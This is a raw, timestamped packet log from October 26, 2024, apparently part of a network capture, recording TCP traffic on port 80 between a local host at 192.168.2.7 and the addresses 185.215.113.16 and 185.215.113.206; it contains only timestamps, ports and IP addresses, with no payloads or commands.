Oct 26, 2024 08:53:45.088287115 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:45.088309050 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.088321924 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.088346004 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:45.134917974 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:45.167551994 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.167571068 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.167582989 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.167632103 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:45.202730894 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.202744961 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.202832937 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:45.352822065 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.352854967 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.352868080 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.352881908 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.352895975 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.352897882 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:45.352910042 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.352924109 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.352937937 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.352950096 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:45.352952957 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.352981091 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:45.353153944 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.353188992 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.353200912 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.353228092 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:45.353254080 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.353256941 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:45.353276968 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.353295088 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.353306055 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.353312969 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:45.353318930 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.353332996 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.353333950 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:45.353377104 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:45.354002953 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.354094028 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.354226112 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:45.403381109 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.403398037 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.403445959 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:45.442121029 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.442150116 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.442161083 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.442173958 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.442181110 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.442193031 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.442203045 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:45.442223072 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:45.442256927 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:45.470086098 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.470112085 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.470200062 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:45.558921099 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.558948040 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.558964014 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.559010983 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:45.559720039 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.559732914 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.559746981 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.559760094 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.559772015 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.559782982 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:45.559818983 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:45.609630108 CEST	49956	80	192.168.2.7	185.215.113.206
Oct 26, 2024 08:53:45.647156000 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.647181988 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.647195101 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.647253990 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:45.676239967 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.676271915 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.676284075 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.676315069 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:45.676358938 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:45.676871061 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.676882982 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.676903009 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.676913023 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.676919937 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:45.676945925 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:45.677020073 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.677037954 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.677051067 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.677083015 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:45.764558077 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.764583111 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.764596939 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.764636993 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:45.793606043 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.793627024 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.793638945 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.793693066 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:45.793741941 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:45.794322014 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.794342041 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.794356108 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.794374943 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.794392109 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:45.794421911 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:45.794493914 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.794506073 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.794517994 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.794539928 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:45.837927103 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:45.881853104 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.881871939 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.881885052 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.881923914 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:45.911844969 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.911880970 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.911897898 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.911948919 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:45.911989927 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:45.912419081 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.912461042 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.912480116 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.912539005 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:45.912592888 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.912611008 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.912627935 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.912645102 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.912651062 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:45.912668943 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:45.962919950 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:45.999231100 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.999249935 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.999267101 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.999283075 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:45.999304056 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:45.999344110 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:46.029339075 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.029360056 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.029376984 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.029423952 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:46.029892921 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.029910088 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.029926062 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.029952049 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:46.029994011 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:46.030054092 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.030078888 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.030103922 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.030113935 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:46.030122042 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.030160904 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:46.116775990 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.116800070 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.116818905 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.116862059 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:46.146789074 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.146888018 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.146907091 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.146936893 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:46.146966934 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:46.147161007 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.147175074 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.147200108 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.147214890 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.147219896 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:46.147361994 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.147403002 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:46.147409916 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.147460938 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.147475004 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.147500992 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:46.147512913 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:46.147572994 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.147586107 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.148196936 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:46.234061003 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.234086990 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.234106064 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.234131098 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:46.264276981 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.264300108 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.264319897 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.264322996 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:46.264362097 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:46.264585018 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.264602900 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.264621019 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.264642954 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:46.265006065 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.265036106 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.265043974 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:46.265055895 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.265201092 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:46.307509899 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.307534933 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.307555914 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.307606936 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:46.353540897 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:46.499155045 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.499171019 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.499183893 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.499196053 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.499208927 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.499221087 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.499221087 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:46.499249935 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.499255896 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:46.499264956 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.499279022 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.499279022 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:46.499306917 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:46.499392033 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.499404907 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.499417067 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.499435902 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:46.499461889 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:46.499480009 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.499491930 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.499502897 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.499516010 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.499525070 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:46.499553919 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:46.499989033 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.500000000 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.500032902 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:46.543013096 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.543041945 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.543056011 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.543112993 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:46.587364912 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.587383986 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.587399006 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.587507010 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:46.616399050 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.616430044 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.616568089 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:46.617003918 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.617018938 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.617031097 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.617104053 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:46.660864115 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.660881996 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.660896063 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.660944939 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:46.660983086 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:46.705053091 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.705137014 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.705167055 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.705221891 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:46.734431028 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.734451056 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.734463930 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.734476089 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.734488964 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.734499931 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.734504938 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:46.734544039 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:46.775404930 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:46.777946949 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.777960062 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.777971029 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.777982950 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.778034925 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:46.822124958 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.822140932 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.822153091 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.822196007 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:46.851738930 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.851753950 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.851768970 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.851783991 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.851788044 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:46.851795912 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.851807117 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.851824999 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:46.851855040 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:46.895454884 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.895471096 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.895483971 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.895533085 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:46.895566940 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:46.939649105 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.939665079 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.939677000 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.939730883 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:46.969167948 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.969193935 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.969208002 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.969219923 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.969233990 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.969244957 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.969257116 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:46.969331980 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:46.969378948 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:47.013670921 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:47.013685942 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:47.013701916 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:47.013761044 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:47.013791084 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:47.013804913 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:47.013842106 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:47.056965113 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:47.056981087 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:47.056993961 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:47.057058096 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:47.057096958 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:47.086364031 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:47.086378098 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:47.086390018 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:47.086402893 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:47.086447001 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:47.086466074 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:47.086479902 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:47.086486101 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:47.086494923 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:47.086525917 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:47.130064964 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:47.130079031 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:47.130098104 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:47.130110979 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:47.130131960 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:47.130134106 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:47.130146980 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:47.130172968 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:47.174442053 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:47.174455881 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:47.174467087 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:47.174485922 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:47.174531937 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:47.174570084 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:47.204024076 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:47.204049110 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:47.204058886 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:47.204071045 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:47.204088926 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:47.204133034 CEST	49759	80	192.168.2.7	185.215.113.16
